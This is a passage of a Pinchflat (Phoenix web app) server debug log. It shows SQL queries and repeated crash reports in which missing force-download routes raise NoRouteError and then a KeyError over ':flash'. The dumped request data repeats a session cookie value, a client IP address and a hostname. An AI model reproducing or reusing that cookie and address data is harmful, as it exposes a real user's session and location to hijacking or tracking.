"pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140060.0>, params: %{}, path_info: ["sources", "31", "media", "90894", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.126.10"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.126.10"} ], request_path: "/sources/31/media/90894/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXYnb15ys7vQnsADGMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140049.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90894/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47130}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90894/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140049.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90894/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47130}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im (truncated) 06:03:19.703 [debug] QUERY OK source="settings" db=0.9ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.704 [info] Sent 200 in 3ms 06:03:19.705 [info] Sent 200 in 14ms 06:03:19.709 [info] GET /sources/31/media/90894 06:03:19.709 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90894", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 06:03:19.709 [debug] QUERY OK source="media_items" db=0.1ms idle=9.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 06:03:19.710 [debug] QUERY OK source="tasks" db=0.2ms idle=8.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90894] 06:03:19.710 [debug] QUERY OK source="sources" db=0.3ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.711 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=8.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6790, 6808, 6827, 6846, 6863, 6881, 6908, 6926, 6943, 6962, 6979, 6995, 7012, 7028, 7046, 7062, 7079, 7096, 7112, 7129, 7145, 7163, 7179, 7196, 7215, 7232, 7251, 7267, 7284] 06:03:19.711 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.711 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.712 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.712 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:19.715 [info] Sent 200 in 6ms 06:03:19.718 [info] GET /sources/31/media/91245/edit 06:03:19.718 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91245", "source_id" => "31"} Pipelines: [:browser] 06:03:19.718 [debug] QUERY OK source="media_items" db=0.1ms idle=7.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91245] 06:03:19.719 [info] GET /sources/new 06:03:19.719 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "31"} Pipelines: [:browser] 06:03:19.719 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.719 [debug] QUERY OK source="settings" db=0.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.719 [debug] QUERY OK source="sources" db=0.1ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.720 [debug] QUERY OK source="settings" db=0.3ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.720 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:03:19.720 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.721 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.721 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.721 [info] Sent 200 in 3ms 06:03:19.721 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.722 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.724 [info] Sent 200 in 5ms 06:03:19.730 [info] GET /sources/31/force_download_pending 06:03:19.731 [info] GET /sources/31/force_redownload 06:03:19.731 [debug] QUERY OK source="settings" db=0.1ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.731 [debug] QUERY OK source="settings" db=0.2ms idle=10.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.731 [debug] QUERY OK source="settings" db=0.2ms idle=10.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.731 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:03:19.731 [debug] QUERY OK source="settings" db=0.1ms idle=10.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.731 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:03:19.732 [error] #PID<0.140069.0> running PinchflatWeb.Endpoint (connection #PID<0.140051.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140069.0>, params: %{}, path_info: ["sources", "31", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.126.10"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.126.10"} ], request_path: "/sources/31/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXYnb-cUeqjqdkAAJaD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140051.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47144}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", (truncated) 06:03:19.731 [error] #PID<0.140068.0> running PinchflatWeb.Endpoint (connection #PID<0.140052.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140052.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47148}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140068.0>, params: %{}, path_info: ["sources", "31", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", 